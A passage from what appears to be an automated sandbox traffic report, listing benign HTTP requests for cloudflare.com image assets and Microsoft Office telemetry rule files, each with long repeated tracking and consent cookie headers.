OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cl
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/5wB2WP2bwo7zdgVhToslhe/447d1f23d1b8ac77e61e2819465f58fe/ease-of-use-toggle.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cl
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/17tDJ5kPaGE8eLFJvByBgR/c28fb006fa3ddfba75b2009591559296/internet-browser.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.clou
Source: global traffic	HTTP traffic detected: GET /static/enablement-background-6de78040ef0acc8d2e8a596988c5f5d8.svg HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094230943%2C%22hasActivity%22:true%2C%22recordingConditionThreshold%22:50.12874518679207}; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/6VUhUMEcvn3L3j88LttHzC/b2cf2b702aad874db9cb61b0028e9c40/logo_garmin_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/OMwO1Fr8BxHVum0iBbatc/979c1807f5810edc903d4b07c18e0cb0/logo_ibm_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat.bin
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/6XVeELky7fceWRpfBvN8qr/4e13aa3d8dd73e1f091f3de966fdc9cb/logo_shopify_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|ba
